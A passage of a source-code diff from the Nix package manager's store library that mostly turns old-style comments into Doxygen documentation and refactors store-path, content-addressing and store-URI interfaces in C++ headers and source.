(i.e., between quotes - and separated by commas). */ - std::string showPaths(const StorePathSet & paths); - - /* Return true if ‘path’ is in the Nix store (but not the Nix - store itself). */ - bool isInStore(PathView path) const; - - /* Return true if ‘path’ is a store path, i.e. a direct child of - the Nix store. */ - bool isStorePath(std::string_view path) const; - - /* Split a path like /nix/store/-/ into - /nix/store/- and /. */ - std::pair toStorePath(PathView path) const; - - /* Follow symlinks until we end up with a path in the Nix store. */ + /** + * Follow symlinks until we end up with a path in the Nix store. + */ Path followLinksToStore(std::string_view path) const; - /* Same as followLinksToStore(), but apply toStorePath() to the - result. */ + /** + * Same as followLinksToStore(), but apply toStorePath() to the + * result. + */ StorePath followLinksToStorePath(std::string_view path) const; - /* Constructs a unique store path name. */ - StorePath makeStorePath(std::string_view type, - std::string_view hash, std::string_view name) const; - StorePath makeStorePath(std::string_view type, - const Hash & hash, std::string_view name) const; - - StorePath makeOutputPath(std::string_view id, - const Hash & hash, std::string_view name) const; - - StorePath makeFixedOutputPath(FileIngestionMethod method, - const Hash & hash, std::string_view name, - const StorePathSet & references = {}, - bool hasSelfReference = false) const; - - StorePath makeTextPath(std::string_view name, const Hash & hash, - const StorePathSet & references = {}) const; - - StorePath makeFixedOutputPathFromCA(std::string_view name, ContentAddress ca, - const StorePathSet & references = {}, - bool hasSelfReference = false) const; - - /* This is the preparatory part of addToStore(); it computes the - store path to which srcPath is to be copied. Returns the store - path and the cryptographic hash of the contents of srcPath. */ - std::pair computeStorePathForPath(std::string_view name, - const Path & srcPath, FileIngestionMethod method = FileIngestionMethod::Recursive, - HashType hashAlgo = htSHA256, PathFilter & filter = defaultPathFilter) const; - - /* Preparatory part of addTextToStore(). - - !!! Computation of the path should take the references given to - addTextToStore() into account, otherwise we have a (relatively - minor) security hole: a caller can register a source file with - bogus references. If there are too many references, the path may - not be garbage collected when it has to be (not really a problem, - the caller could create a root anyway), or it may be garbage - collected when it shouldn't be (more serious). - - Hashing the references would solve this (bogus references would - simply yield a different store path, so other users wouldn't be - affected), but it has some backwards compatibility issues (the - hashing scheme changes), so I'm not doing that for now. */ - StorePath computeStorePathForText( - std::string_view name, - std::string_view s, - const StorePathSet & references) const; - - /* Check whether a path is valid. */ + /** + * Check whether a path is valid. + */ bool isValidPath(const StorePath & path); protected: @@ -252,53 +244,78 @@ protected: public: - /* If requested, substitute missing paths. This - implements nix-copy-closure's --use-substitutes - flag. */ + /** + * If requested, substitute missing paths. This + * implements nix-copy-closure's --use-substitutes + * flag. + */ void substitutePaths(const StorePathSet & paths); - /* Query which of the given paths is valid. Optionally, try to - substitute missing paths. */ + /** + * Query which of the given paths is valid. Optionally, try to + * substitute missing paths. + */ virtual StorePathSet queryValidPaths(const StorePathSet & paths, SubstituteFlag maybeSubstitute = NoSubstitute); - /* Query the set of all valid paths. Note that for some store - backends, the name part of store paths may be replaced by 'x' - (i.e. you'll get /nix/store/-x rather than - /nix/store/-). Use queryPathInfo() to obtain the - full store path. FIXME: should return a set of - std::variant to get rid of this hack. */ + /** + * Query the set of all valid paths. Note that for some store + * backends, the name part of store paths may be replaced by 'x' + * (i.e. you'll get /nix/store/-x rather than + * /nix/store/-). Use queryPathInfo() to obtain the + * full store path. FIXME: should return a set of + * std::variant to get rid of this hack. + */ virtual StorePathSet queryAllValidPaths() { unsupported("queryAllValidPaths"); } constexpr static const char * MissingName = "x"; - /* Query information about a valid path. It is permitted to omit - the name part of the store path. */ + /** + * Query information about a valid path. It is permitted to omit + * the name part of the store path. + */ ref queryPathInfo(const StorePath & path); - /* Asynchronous version of queryPathInfo(). */ + /** + * Asynchronous version of queryPathInfo(). + */ void queryPathInfo(const StorePath & path, Callback> callback) noexcept; - /* Query the information about a realisation. */ + /** + * Version of queryPathInfo() that only queries the local narinfo cache and not + * the actual store. + * + * @return `std::nullopt` if nothing is known about the path in the local narinfo cache. + * @return `std::make_optional(nullptr)` if the path is known to not exist. + * @return `std::make_optional(validPathInfo)` if the path is known to exist. + */ + std::optional> queryPathInfoFromClientCache(const StorePath & path); + + /** + * Query the information about a realisation. + */ std::shared_ptr queryRealisation(const DrvOutput &); - /* Asynchronous version of queryRealisation(). */ + /** + * Asynchronous version of queryRealisation(). + */ void queryRealisation(const DrvOutput &, Callback> callback) noexcept; - /* Check whether the given valid path info is sufficiently attested, by - either being signed by a trusted public key or content-addressed, in - order to be included in the given store. - - These same checks would be performed in addToStore, but this allows an - earlier failure in the case where dependencies need to be added too, but - the addToStore wouldn't fail until those dependencies are added. Also, - we don't really want to add the dependencies listed in a nar info we - don't trust anyyways. - */ + /** + * Check whether the given valid path info is sufficiently attested, by + * either being signed by a trusted public key or content-addressed, in + * order to be included in the given store. + * + * These same checks would be performed in addToStore, but this allows an + * earlier failure in the case where dependencies need to be added too, but + * the addToStore wouldn't fail until those dependencies are added. Also, + * we don't really want to add the dependencies listed in a nar info we + * don't trust anyyways. + */ virtual bool pathInfoIsUntrusted(const ValidPathInfo &) { return true; @@ -318,53 +335,90 @@ protected: public: - /* Queries the set of incoming FS references for a store path. - The result is not cleared. */ + /** + * Queries the set of incoming FS references for a store path. + * The result is not cleared. + */ virtual void queryReferrers(const StorePath & path, StorePathSet & referrers) { unsupported("queryReferrers"); } - /* Return all currently valid derivations that have `path' as an - output. (Note that the result of `queryDeriver()' is the - derivation that was actually used to produce `path', which may - not exist anymore.) */ + /** + * @return all currently valid derivations that have `path` as an + * output. + * + * (Note that the result of `queryDeriver()` is the derivation that + * was actually used to produce `path`, which may not exist + * anymore.) + */ virtual StorePathSet queryValidDerivers(const StorePath & path) { return {}; }; - /* Query the outputs of the derivation denoted by `path'. */ + /** + * Query the outputs of the derivation denoted by `path`. + */ virtual StorePathSet queryDerivationOutputs(const StorePath & path); - /* Query the mapping outputName => outputPath for the given derivation. All - outputs are mentioned so ones mising the mapping are mapped to - `std::nullopt`. */ - virtual std::map> queryPartialDerivationOutputMap(const StorePath & path); + /** + * Query the mapping outputName => outputPath for the given + * derivation. All outputs are mentioned so ones mising the mapping + * are mapped to `std::nullopt`. + */ + virtual std::map> queryPartialDerivationOutputMap( + const StorePath & path, + Store * evalStore = nullptr); - /* Query the mapping outputName=>outputPath for the given derivation. - Assume every output has a mapping and throw an exception otherwise. */ - OutputPathMap queryDerivationOutputMap(const StorePath & path); + /** + * Like `queryPartialDerivationOutputMap` but only considers + * statically known output paths (i.e. those that can be gotten from + * the derivation itself. + * + * Just a helper function for implementing + * `queryPartialDerivationOutputMap`. + */ + virtual std::map> queryStaticPartialDerivationOutputMap( + const StorePath & path); - /* Query the full store path given the hash part of a valid store - path, or empty if the path doesn't exist. */ + /** + * Query the mapping outputName=>outputPath for the given derivation. + * Assume every output has a mapping and throw an exception otherwise. + */ + OutputPathMap queryDerivationOutputMap(const StorePath & path, Store * evalStore = nullptr); + + /** + * Query the full store path given the hash part of a valid store + * path, or empty if the path doesn't exist. + */ virtual std::optional queryPathFromHashPart(const std::string & hashPart) = 0; - /* Query which of the given paths have substitutes. */ + /** + * Query which of the given paths have substitutes. + */ virtual StorePathSet querySubstitutablePaths(const StorePathSet & paths) { return {}; }; - /* Query substitute info (i.e. references, derivers and download - sizes) of a map of paths to their optional ca values. The info - of the first succeeding substituter for each path will be - returned. If a path does not have substitute info, it's omitted - from the resulting ‘infos’ map. */ + /** + * Query substitute info (i.e. references, derivers and download + * sizes) of a map of paths to their optional ca values. The info of + * the first succeeding substituter for each path will be returned. + * If a path does not have substitute info, it's omitted from the + * resulting ‘infos’ map. + */ virtual void querySubstitutablePathInfos(const StorePathCAMap & paths, - SubstitutablePathInfos & infos) { return; }; + SubstitutablePathInfos & infos); - /* Import a path into the store. */ + /** + * Import a path into the store. + */ virtual void addToStore(const ValidPathInfo & info, Source & narSource, RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs) = 0; - // A list of paths infos along with a source providing the content of the - // associated store path + /** + * A list of paths infos along with a source providing the content + * of the associated store path + */ using PathsSource = std::vector>>; - /* Import multiple paths into the store. */ + /** + * Import multiple paths into the store. + */ virtual void addMultipleToStore( Source & source, RepairFlag repair = NoRepair, @@ -376,43 +430,60 @@ public: RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs); - /* Copy the contents of a path to the store and register the - validity the resulting path. The resulting path is returned. - The function object `filter' can be used to exclude files (see - libutil/archive.hh). */ + /** + * Copy the contents of a path to the store and register the + * validity the resulting path. + * + * @return The resulting path is returned. + * @param filter This function can be used to exclude files (see + * libutil/archive.hh). + */ virtual StorePath addToStore( std::string_view name, - const Path & srcPath, - FileIngestionMethod method = FileIngestionMethod::Recursive, - HashType hashAlgo = htSHA256, + const SourcePath & path, + ContentAddressMethod method = ContentAddressMethod::Raw::NixArchive, + HashAlgorithm hashAlgo = HashAlgorithm::SHA256, + const StorePathSet & references = StorePathSet(), PathFilter & filter = defaultPathFilter, - RepairFlag repair = NoRepair, - const StorePathSet & references = StorePathSet()); + RepairFlag repair = NoRepair); - /* Copy the contents of a path to the store and register the - validity the resulting path, using a constant amount of - memory. */ - ValidPathInfo addToStoreSlow(std::string_view name, const Path & srcPath, - FileIngestionMethod method = FileIngestionMethod::Recursive, HashType hashAlgo = htSHA256, + /** + * Copy the contents of a path to the store and register the + * validity the resulting path, using a constant amount of + * memory. + */ + ValidPathInfo addToStoreSlow( + std::string_view name, + const SourcePath & path, + ContentAddressMethod method = ContentAddressMethod::Raw::NixArchive, + HashAlgorithm hashAlgo = HashAlgorithm::SHA256, + const StorePathSet & references = StorePathSet(), std::optional expectedCAHash = {}); - /* Like addToStore(), but the contents of the path are contained - in `dump', which is either a NAR serialisation (if recursive == - true) or simply the contents of a regular file (if recursive == - false). - `dump` may be drained */ - // FIXME: remove? - virtual StorePath addToStoreFromDump(Source & dump, std::string_view name, - FileIngestionMethod method = FileIngestionMethod::Recursive, HashType hashAlgo = htSHA256, RepairFlag repair = NoRepair, - const StorePathSet & references = StorePathSet()) - { unsupported("addToStoreFromDump"); } - - /* Like addToStore, but the contents written to the output path is - a regular file containing the given string. */ - virtual StorePath addTextToStore( + /** + * Like addToStore(), but the contents of the path are contained + * in `dump`, which is either a NAR serialisation (if recursive == + * true) or simply the contents of a regular file (if recursive == + * false). + * + * `dump` may be drained. + * + * @param dumpMethod What serialisation format is `dump`, i.e. how + * to deserialize it. Must either match hashMethod or be + * `FileSerialisationMethod::NixArchive`. + * + * @param hashMethod How content addressing? Need not match be the + * same as `dumpMethod`. + * + * @todo remove? + */ + virtual StorePath addToStoreFromDump( + Source & dump, std::string_view name, - std::string_view s, - const StorePathSet & references, + FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive, + ContentAddressMethod hashMethod = ContentAddressMethod::Raw::NixArchive, + HashAlgorithm hashAlgo = HashAlgorithm::SHA256, + const StorePathSet & references = StorePathSet(), RepairFlag repair = NoRepair) = 0; /** @@ -429,140 +500,156 @@ public: virtual void registerDrvOutput(const Realisation & output, CheckSigsFlag checkSigs) { return registerDrvOutput(output); } - /* Write a NAR dump of a store path. */ + /** + * Write a NAR dump of a store path. + */ virtual void narFromPath(const StorePath & path, Sink & sink) = 0; - /* For each path, if it's a derivation, build it. Building a - derivation means ensuring that the output paths are valid. If - they are already valid, this is a no-op. Otherwise, validity - can be reached in two ways. First, if the output paths is - substitutable, then build the path that way. Second, the - output paths can be created by running the builder, after - recursively building any sub-derivations. For inputs that are - not derivations, substitute them. */ + /** + * For each path, if it's a derivation, build it. Building a + * derivation means ensuring that the output paths are valid. If + * they are already valid, this is a no-op. Otherwise, validity + * can be reached in two ways. First, if the output paths is + * substitutable, then build the path that way. Second, the + * output paths can be created by running the builder, after + * recursively building any sub-derivations. For inputs that are + * not derivations, substitute them. + */ virtual void buildPaths( const std::vector & paths, BuildMode buildMode = bmNormal, std::shared_ptr evalStore = nullptr); - /* Like `buildPaths()`, but return a vector of `BuildResult`s - corresponding to each element in `paths`. Note that in case of - a build/substitution error, this function won't throw an - exception, but return a `BuildResult` containing an error - message. */ - virtual std::vector buildPathsWithResults( + /** + * Like buildPaths(), but return a vector of \ref BuildResult + * BuildResults corresponding to each element in paths. Note that in + * case of a build/substitution error, this function won't throw an + * exception, but return a BuildResult containing an error message. + */ + virtual std::vector buildPathsWithResults( const std::vector & paths, BuildMode buildMode = bmNormal, std::shared_ptr evalStore = nullptr); - /* Build a single non-materialized derivation (i.e. not from an - on-disk .drv file). - - ‘drvPath’ is used to deduplicate worker goals so it is imperative that - is correct. That said, it doesn't literally need to be store path that - would be calculated from writing this derivation to the store: it is OK - if it instead is that of a Derivation which would resolve to this (by - taking the outputs of it's input derivations and adding them as input - sources) such that the build time referenceable-paths are the same. - - In the input-addressed case, we usually *do* use an "original" - unresolved derivations's path, as that is what will be used in the - `buildPaths` case. Also, the input-addressed output paths are verified - only by that contents of that specific unresolved derivation, so it is - nice to keep that information around so if the original derivation is - ever obtained later, it can be verified whether the trusted user in fact - used the proper output path. - - In the content-addressed case, we want to always use the - resolved drv path calculated from the provided derivation. This serves - two purposes: - - - It keeps the operation trustless, by ruling out a maliciously - invalid drv path corresponding to a non-resolution-equivalent - derivation. - - - For the floating case in particular, it ensures that the derivation - to output mapping respects the resolution equivalence relation, so - one cannot choose different resolution-equivalent derivations to - subvert dependency coherence (i.e. the property that one doesn't end - up with multiple different versions of dependencies without - explicitly choosing to allow it). - */ + /** + * Build a single non-materialized derivation (i.e. not from an + * on-disk .drv file). + * + * @param drvPath This is used to deduplicate worker goals so it is + * imperative that is correct. That said, it doesn't literally need + * to be store path that would be calculated from writing this + * derivation to the store: it is OK if it instead is that of a + * Derivation which would resolve to this (by taking the outputs of + * it's input derivations and adding them as input sources) such + * that the build time referenceable-paths are the same. + * + * In the input-addressed case, we usually *do* use an "original" + * unresolved derivations's path, as that is what will be used in the + * buildPaths case. Also, the input-addressed output paths are verified + * only by that contents of that specific unresolved derivation, so it is + * nice to keep that information around so if the original derivation is + * ever obtained later, it can be verified whether the trusted user in fact + * used the proper output path. + * + * In the content-addressed case, we want to always use the resolved + * drv path calculated from the provided derivation. This serves two + * purposes: + * + * - It keeps the operation trustless, by ruling out a maliciously + * invalid drv path corresponding to a non-resolution-equivalent + * derivation. + * + * - For the floating case in particular, it ensures that the derivation + * to output mapping respects the resolution equivalence relation, so + * one cannot choose different resolution-equivalent derivations to + * subvert dependency coherence (i.e. the property that one doesn't end + * up with multiple different versions of dependencies without + * explicitly choosing to allow it). + */ virtual BuildResult buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, BuildMode buildMode = bmNormal); - /* Ensure that a path is valid. If it is not currently valid, it - may be made valid by running a substitute (if defined for the - path). */ + /** + * Ensure that a path is valid. If it is not currently valid, it + * may be made valid by running a substitute (if defined for the + * path). + */ virtual void ensurePath(const StorePath & path); - /* Add a store path as a temporary root of the garbage collector. - The root disappears as soon as we exit. */ + /** + * Add a store path as a temporary root of the garbage collector. + * The root disappears as soon as we exit. + */ virtual void addTempRoot(const StorePath & path) { debug("not creating temporary root, store doesn't support GC"); } - /* Return a string representing information about the path that - can be loaded into the database using `nix-store --load-db' or - `nix-store --register-validity'. */ + /** + * @return a string representing information about the path that + * can be loaded into the database using `nix-store --load-db` or + * `nix-store --register-validity`. + */ std::string makeValidityRegistration(const StorePathSet & paths, bool showDerivers, bool showHash); - /* Write a JSON representation of store path metadata, such as the - hash and the references. If ‘includeImpureInfo’ is true, - variable elements such as the registration time are - included. If ‘showClosureSize’ is true, the closure size of - each path is included. */ - nlohmann::json pathInfoToJSON(const StorePathSet & storePaths, - bool includeImpureInfo, bool showClosureSize, - Base hashBase = Base32, - AllowInvalidFlag allowInvalid = DisallowInvalid); - - /* Return the size of the closure of the specified path, that is, - the sum of the size of the NAR serialisation of each path in - the closure. */ - std::pair getClosureSize(const StorePath & storePath); - - /* Optimise the disk space usage of the Nix store by hard-linking files - with the same contents. */ + /** + * Optimise the disk space usage of the Nix store by hard-linking files + * with the same contents. + */ virtual void optimiseStore() { }; - /* Check the integrity of the Nix store. Returns true if errors - remain. */ + /** + * Check the integrity of the Nix store. + * + * @return true if errors remain. + */ virtual bool verifyStore(bool checkContents, RepairFlag repair = NoRepair) { return false; }; - /* Return an object to access files in the Nix store. */ - virtual ref getFSAccessor() - { unsupported("getFSAccessor"); } + /** + * @return An object to access files in the Nix store. + */ + virtual ref getFSAccessor(bool requireValidPath = true) = 0; - /* Repair the contents of the given path by redownloading it using - a substituter (if available). */ - virtual void repairPath(const StorePath & path) - { unsupported("repairPath"); } + /** + * Repair the contents of the given path by redownloading it using + * a substituter (if available). + */ + virtual void repairPath(const StorePath & path); - /* Add signatures to the specified store path. The signatures are - not verified. */ + /** + * Add signatures to the specified store path. The signatures are + * not verified. + */ virtual void addSignatures(const StorePath & storePath, const StringSet & sigs) { unsupported("addSignatures"); } /* Utility functions. */ - /* Read a derivation, after ensuring its existence through - ensurePath(). */ + /** + * Read a derivation, after ensuring its existence through + * ensurePath(). + */ Derivation derivationFromPath(const StorePath & drvPath); - /* Read a derivation (which must already be valid). */ + /** + * Read a derivation (which must already be valid). + */ Derivation readDerivation(const StorePath & drvPath); - /* Read a derivation from a potentially invalid path. */ + /** + * Read a derivation from a potentially invalid path. + */ Derivation readInvalidDerivation(const StorePath & drvPath); - /* Place in `out' the set of all store paths in the file system - closure of `storePath'; that is, all paths than can be directly - or indirectly reached from it. `out' is not cleared. If - `flipDirection' is true, the set of paths that can reach - `storePath' is returned; that is, the closures under the - `referrers' relation instead of the `references' relation is - returned. */ + /** + * @param [out] out Place in here the set of all store paths in the + * file system closure of `storePath`; that is, all paths than can + * be directly or indirectly reached from it. `out` is not cleared. + * + * @param flipDirection If true, the set of paths that can reach + * `storePath` is returned; that is, the closures under the + * `referrers` relation instead of the `references` relation is + * returned. + */ virtual void computeFSClosure(const StorePathSet & paths, StorePathSet & out, bool flipDirection = false, bool includeOutputs = false, bool includeDerivers = false); @@ -571,27 +658,34 @@ public: StorePathSet & out, bool flipDirection = false, bool includeOutputs = false, bool includeDerivers = false); - /* Given a set of paths that are to be built, return the set of - derivations that will be built, and the set of output paths - that will be substituted. */ + /** + * Given a set of paths that are to be built, return the set of + * derivations that will be built, and the set of output paths that + * will be substituted. + */ virtual void queryMissing(const std::vector & targets, StorePathSet & willBuild, StorePathSet & willSubstitute, StorePathSet & unknown, uint64_t & downloadSize, uint64_t & narSize); - /* Sort a set of paths topologically under the references - relation. If p refers to q, then p precedes q in this list. */ + /** + * Sort a set of paths topologically under the references + * relation. If p refers to q, then p precedes q in this list. + */ StorePaths topoSortPaths(const StorePathSet & paths); - /* Export multiple paths in the format expected by ‘nix-store - --import’. */ + /** + * Export multiple paths in the format expected by ‘nix-store + * --import’. + */ void exportPaths(const StorePathSet & paths, Sink & sink); void exportPath(const StorePath & path, Sink & sink); - /* Import a sequence of NAR dumps created by exportPaths() into - the Nix store. Optionally, the contents of the NARs are - preloaded into the specified FS accessor to speed up subsequent - access. */ + /** + * Import a sequence of NAR dumps created by exportPaths() into the + * Nix store. Optionally, the contents of the NARs are preloaded + * into the specified FS accessor to speed up subsequent access. + */ StorePaths importPaths(Source & source, CheckSigsFlag checkSigs = CheckSigs); struct Stats @@ -613,28 +707,53 @@ public: const Stats & getStats(); - /* Computes the full closure of of a set of store-paths for e.g. - derivations that need this information for `exportReferencesGraph`. + /** + * Computes the full closure of of a set of store-paths for e.g. + * derivations that need this information for `exportReferencesGraph`. */ StorePathSet exportReferences(const StorePathSet & storePaths, const StorePathSet & inputPaths); - /* Hack to allow long-running processes like hydra-queue-runner to - occasionally flush their path info cache. */ + /** + * Given a store path, return the realisation actually used in the realisation of this path: + * - If the path is a content-addressed derivation, try to resolve it + * - Otherwise, find one of its derivers + */ + std::optional getBuildDerivationPath(const StorePath &); + + /** + * Hack to allow long-running processes like hydra-queue-runner to + * occasionally flush their path info cache. + */ void clearPathInfoCache() { state.lock()->pathInfoCache.clear(); } - /* Establish a connection to the store, for store types that have - a notion of connection. Otherwise this is a no-op. */ + /** + * Establish a connection to the store, for store types that have + * a notion of connection. Otherwise this is a no-op. + */ virtual void connect() { }; - /* Get the protocol version of this store or it's connection. */ + /** + * Get the protocol version of this store or it's connection. + */ virtual unsigned int getProtocol() { return 0; }; + /** + * @return/ whether store trusts *us*. + * + * `std::nullopt` means we do not know. + * + * @note This is the opposite of the StoreConfig::isTrusted + * store setting. That is about whether *we* trust the store. + */ + virtual std::optional isTrustedClient() = 0; + + virtual Path toRealPath(const Path & storePath) { return storePath; @@ -645,10 +764,7 @@ public: return toRealPath(printStorePath(storePath)); } - virtual void createUser(const std::string & userName, uid_t userId) - { } - - /* + /** * Synchronises the options of the client with those of the daemon * (a no-op when there’s no daemon) */ @@ -660,7 +776,13 @@ protected: Stats stats; - /* Unsupported methods. */ + /** + * Helper for methods that are not unsupported: this is used for + * default definitions for virtual methods that are meant to be overriden. + * + * @todo Using this should be a last resort. It is better to make + * the method "virtual pure" and/or move it to a subclass. + */ [[noreturn]] void unsupported(const std::string & op) { throw Unsupported("operation '%s' is not supported by store '%s'", op, getUri()); @@ -669,7 +791,9 @@ protected: }; -/* Copy a path from one store to another. */ +/** + * Copy a path from one store to another. + */ void copyStorePath( Store & srcStore, Store & dstStore, @@ -678,15 +802,17 @@ void copyStorePath( CheckSigsFlag checkSigs = CheckSigs); -/* Copy store paths from one store to another. The paths may be copied - in parallel. They are copied in a topologically sorted order (i.e. - if A is a reference of B, then A is copied before B), but the set - of store paths is not automatically closed; use copyClosure() for - that. Returns a map of what each path was copied to the dstStore - as. */ +/** + * Copy store paths from one store to another. The paths may be copied + * in parallel. They are copied in a topologically sorted order (i.e. if + * A is a reference of B, then A is copied before B), but the set of + * store paths is not automatically closed; use copyClosure() for that. + * + * @return a map of what each path was copied to the dstStore as. + */ std::map copyPaths( Store & srcStore, Store & dstStore, - const RealisedPath::Set &, + const std::set &, RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs, SubstituteFlag substitute = NoSubstitute); @@ -698,10 +824,12 @@ std::map copyPaths( CheckSigsFlag checkSigs = CheckSigs, SubstituteFlag substitute = NoSubstitute); -/* Copy the closure of `paths` from `srcStore` to `dstStore`. */ +/** + * Copy the closure of `paths` from `srcStore` to `dstStore`. + */ void copyClosure( Store & srcStore, Store & dstStore, - const RealisedPath::Set & paths, + const std::set & paths, RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs, SubstituteFlag substitute = NoSubstitute); @@ -713,53 +841,54 @@ void copyClosure( CheckSigsFlag checkSigs = CheckSigs, SubstituteFlag substitute = NoSubstitute); -/* Remove the temporary roots file for this process. Any temporary - root becomes garbage after this point unless it has been registered - as a (permanent) root. */ +/** + * Remove the temporary roots file for this process. Any temporary + * root becomes garbage after this point unless it has been registered + * as a (permanent) root. + */ void removeTempRoots(); -/* Return a Store object to access the Nix store denoted by - ‘uri’ (slight misnomer...). Supported values are: +/** + * Resolve the derived path completely, failing if any derivation output + * is unknown. + */ +StorePath resolveDerivedPath(Store &, const SingleDerivedPath &, Store * evalStore = nullptr); +OutputPathMap resolveDerivedPath(Store &, const DerivedPath::Built &, Store * evalStore = nullptr); - * ‘local’: The Nix store in /nix/store and database in - /nix/var/nix/db, accessed directly. - * ‘daemon’: The Nix store accessed via a Unix domain socket - connection to nix-daemon. +/** + * @return a Store object to access the Nix store denoted by + * ‘uri’ (slight misnomer...). + */ +ref openStore(StoreReference && storeURI); - * ‘unix://’: The Nix store accessed via a Unix domain socket - connection to nix-daemon, with the socket located at . - * ‘auto’ or ‘’: Equivalent to ‘local’ or ‘daemon’ depending on - whether the user has write access to the local Nix - store/database. +/** + * Opens the store at `uri`, where `uri` is in the format expected by `StoreReference::parse` - * ‘file://’: A binary cache stored in . - - * ‘https://’: A binary cache accessed via HTTP. - - * ‘s3://’: A writable binary cache stored on Amazon's Simple - Storage Service. - - * ‘ssh://[user@]’: A remote Nix store accessed by running - ‘nix-store --serve’ via SSH. - - You can pass parameters to the store implementation by appending - ‘?key=value&key=value&...’ to the URI. -*/ + */ ref openStore(const std::string & uri = settings.storeUri.get(), const Store::Params & extraParams = Store::Params()); -/* Return the default substituter stores, defined by the - ‘substituters’ option and various legacy options. */ +/** + * @return the default substituter stores, defined by the + * ‘substituters’ option and various legacy options. + */ std::list> getDefaultSubstituters(); struct StoreFactory { std::set uriSchemes; - std::function (const std::string & scheme, const std::string & uri, const Store::Params & params)> create; + /** + * The `authorityPath` parameter is `/`, or really + * whatever comes after `://` and before `?`. + */ + std::function ( + std::string_view scheme, + std::string_view authorityPath, + const Store::Params & params)> create; std::function ()> getConfig; }; @@ -772,9 +901,9 @@ struct Implementations { if (!registered) registered = new std::vector(); StoreFactory factory{ - .uriSchemes = T::uriSchemes(), + .uriSchemes = TConfig::uriSchemes(), .create = - ([](const std::string & scheme, const std::string & uri, const Store::Params & params) + ([](auto scheme, auto uri, auto & params) -> std::shared_ptr { return std::make_shared(scheme, uri, params); }), .getConfig = @@ -796,8 +925,10 @@ struct RegisterStoreImplementation }; -/* Display a set of paths in human-readable form (i.e., between quotes - and separated by commas). */ +/** + * Display a set of paths in human-readable form (i.e., between quotes + * and separated by commas). + */ std::string showPaths(const PathSet & paths); @@ -806,14 +937,12 @@ std::optional decodeValidPathInfo( std::istream & str, std::optional hashGiven = std::nullopt); -/* Split URI into protocol+hierarchy part and its parameter set. */ -std::pair splitUriAndParams(const std::string & uri); - -std::optional getDerivationCA(const BasicDerivation & drv); +const ContentAddress * getDerivationCA(const BasicDerivation & drv); std::map drvOutputReferences( Store & store, const Derivation & drv, - const StorePath & outputPath); + const StorePath & outputPath, + Store * evalStore = nullptr); } diff --git a/src/libstore/store-cast.hh b/src/libstore/store-cast.hh index ff62fc359..2473e72c5 100644 --- a/src/libstore/store-cast.hh +++ b/src/libstore/store-cast.hh @@ -1,9 +1,17 @@ #pragma once +///@file #include "store-api.hh" namespace nix { +/** + * Helper to try downcasting a Store with a nice method if it fails. + * + * This is basically an alternative to the user-facing part of + * Store::unsupported that allows us to still have a nice message but + * better interface design. + */ template T & require(Store & store) { diff --git a/src/libstore/store-dir-config.hh b/src/libstore/store-dir-config.hh new file mode 100644 index 000000000..64c0dd8b7 --- /dev/null +++ b/src/libstore/store-dir-config.hh @@ -0,0 +1,107 @@ +#pragma once + +#include "path.hh" +#include "hash.hh" +#include "content-address.hh" +#include "globals.hh" +#include "config.hh" + +#include +#include +#include + + +namespace nix { + +struct SourcePath; + +MakeError(BadStorePath, Error); +MakeError(BadStorePathName, BadStorePath); + +struct StoreDirConfig : public Config +{ + using Config::Config; + + StoreDirConfig() = delete; + + virtual ~StoreDirConfig() = default; + + const PathSetting storeDir_{this, settings.nixStore, + "store", + R"( + Logical location of the Nix store, usually + `/nix/store`. Note that you can only copy store paths + between stores if they have the same `store` setting. + )"}; + const Path storeDir = storeDir_; + + // pure methods + + StorePath parseStorePath(std::string_view path) const; + + std::optional maybeParseStorePath(std::string_view path) const; + + std::string printStorePath(const StorePath & path) const; + + /** + * Deprecated + * + * \todo remove + */ + StorePathSet parseStorePathSet(const PathSet & paths) const; + + PathSet printStorePathSet(const StorePathSet & path) const; + + /** + * Display a set of paths in human-readable form (i.e., between quotes + * and separated by commas). + */ + std::string showPaths(const StorePathSet & paths); + + /** + * @return true if ‘path’ is in the Nix store (but not the Nix + * store itself). + */ + bool isInStore(PathView path) const; + + /** + * @return true if ‘path’ is a store path, i.e. a direct child of the + * Nix store. + */ + bool isStorePath(std::string_view path) const; + + /** + * Split a path like /nix/store/-/ into + * /nix/store/- and /. + */ + std::pair toStorePath(PathView path) const; + + /** + * Constructs a unique store path name. + */ + StorePath makeStorePath(std::string_view type, + std::string_view hash, std::string_view name) const; + StorePath makeStorePath(std::string_view type, + const Hash & hash, std::string_view name) const; + + StorePath makeOutputPath(std::string_view id, + const Hash & hash, std::string_view name) const; + + StorePath makeFixedOutputPath(std::string_view name, const FixedOutputInfo & info) const; + + StorePath makeFixedOutputPathFromCA(std::string_view name, const ContentAddressWithReferences & ca) const; + + /** + * Read-only variant of addToStore(). It returns the store + * path for the given file sytem object. + */ + std::pair computeStorePath( + std::string_view name, + const SourcePath & path, + ContentAddressMethod method = FileIngestionMethod::NixArchive, + HashAlgorithm hashAlgo = HashAlgorithm::SHA256, + const StorePathSet & references = {}, + PathFilter & filter = defaultPathFilter) const; +}; + +} diff --git a/src/libstore/store-reference.cc b/src/libstore/store-reference.cc new file mode 100644 index 000000000..b4968dfad --- /dev/null +++ b/src/libstore/store-reference.cc @@ -0,0 +1,116 @@ +#include + +#include "error.hh" +#include "url.hh" +#include "store-reference.hh" +#include "file-system.hh" +#include "util.hh" + +namespace nix { + +static bool isNonUriPath(const std::string & spec) +{ + return + // is not a URL + spec.find("://") == std::string::npos + // Has at least one path separator, and so isn't a single word that + // might be special like "auto" + && spec.find("/") != std::string::npos; +} + +std::string StoreReference::render() const +{ + std::string res; + + std::visit( + overloaded{ + [&](const StoreReference::Auto &) { res = "auto"; }, + [&](const StoreReference::Specified & g) { + res = g.scheme; + res += "://"; + res += g.authority; + }, + }, + variant); + + if (!params.empty()) { + res += "?"; + res += encodeQuery(params); + } + + return res; +} + +StoreReference StoreReference::parse(const std::string & uri, const StoreReference::Params & extraParams) +{ + auto params = extraParams; + try { + auto parsedUri = parseURL(uri); + params.insert(parsedUri.query.begin(), parsedUri.query.end()); + + auto baseURI = parsedUri.authority.value_or("") + parsedUri.path; + + return { + .variant = + Specified{ + .scheme = std::move(parsedUri.scheme), + .authority = std::move(baseURI), + }, + .params = std::move(params), + }; + } catch (BadURL &) { + auto [baseURI, uriParams] = splitUriAndParams(uri); + params.insert(uriParams.begin(), uriParams.end()); + + if (baseURI == "" || baseURI == "auto") { + return { + .variant 